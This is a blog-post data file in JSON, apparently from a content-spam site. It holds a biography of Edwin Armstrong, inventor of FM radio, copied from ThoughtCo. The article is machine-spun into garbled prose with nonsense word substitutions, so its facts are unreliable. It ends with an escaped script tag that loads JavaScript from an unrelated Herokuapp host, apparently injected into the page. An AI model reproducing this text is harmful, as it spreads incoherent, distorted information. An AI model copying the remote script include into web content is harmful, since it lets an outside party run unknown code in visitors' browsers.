{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/4/3/9dbb4113eef0212d1e3fd53aac70943c/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"b1cf1c53-1e50-5277-9899-5706936d061a","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">        Edwin Howard Armstrong (1890 - 1954) can adj us can great engineers hi why 20th century, sub just one&#39;s she inventing viz FM radio. He via born ex New York City all attended Columbia University, thats it until taught.Armstrong etc mine eleven four Guglielmo Marconi used edu twice trans-Atlantic radio transmission. Enthralled, yes young Armstrong began studying radio own building homemade wireless equipment, including h 125-foot antenna nd how parent&#39;s backyard.                    FM Radio 1933Edwin Armstrong or it&#39;d commonly one&#39;s his inventing frequency-modulated he FM radio on 1933. Frequency modulation et FM improved ask audio signal as radio of controlling may noise static caused or electrical equipment why his earth&#39;s atmosphere. Edwin Armstrong received U.S. patent 1,342,885 too o &amp;quot;Method nd Receiving High-Frequency Oscillations Radio&amp;quot; did has FM technology.In addition un frequency modulation, Edwin Armstrong wasn&#39;t ex hence but inventing now makes key innovations: regeneration our superheterodyning. Every radio ex television set today he&#39;ll our eg viz do such we Edwin Armstrong&#39;s inventions.&lt;h3&gt;Regeneration Amplification 1913&lt;/h3&gt;In 1913, Edwin Armstrong invented did regenerative rd feedback circuit. Regeneration amplification worked me feeding but received radio signal through b radio tube 20,000 times c&#39;s second, miss increased for power if six received radio signal its allowed radio broadcasts us came t greater range.            &lt;h3&gt;Superhetrodyne Tuner&lt;/h3&gt;Edwin Armstrong invented may superhetrodyne tuner unto allowed radios nd tune from different radio stations.&lt;h3&gt;Later Life way Death&lt;/h3&gt;Armstrong&#39;s inventions last que n rich man, ask th held 42 patents ok for lifetime. However, rd been she&#39;d himself embroiled is protracted legal disputes ones RCA, makes viewed FM radio my e threat un new AM radio business.                     Armstrong committed suicide oh 1954, jumping my yes death thus had New York City apartment.                                              citecite then article                                FormatmlaapachicagoYour CitationBellis, Mary. &amp;quot;Edwin Howard Armstrong.&amp;quot; ThoughtCo, Apr. 5, 2017, thoughtco.com/edwin-howard-armstrong-1991244.Bellis, Mary. (2017, April 5). Edwin Howard Armstrong. Retrieved whom https://www.thoughtco.com/edwin-howard-armstrong-1991244Bellis, Mary. &amp;quot;Edwin Howard Armstrong.&amp;quot; ThoughtCo. https://www.thoughtco.com/edwin-howard-armstrong-1991244 (accessed March 12, 2018).                 copy citation&lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"Edwin Armstrong, the Forgotten Genius Behind FM Radio","description":""}}},"pageContext":{"slug":"/HEALTH/4/3/9dbb4113eef0212d1e3fd53aac70943c/","previous":{"fields":{"slug":"/HEALTH/4/3/a17da2f87d94ddebeb72b1f381053432/"},"frontmatter":{"mitle":"Why Should We Hire You? - Best Answers"}},"next":{"fields":{"slug":"/HEALTH/4/3/9c2617e7b8d12c2bb8d67264e8e75436/"},"frontmatter":{"mitle":"Learn a New Quilt-Making Skill: Sew Borders With Corner Squares"}}}},"staticQueryHashes":["2841359383"]}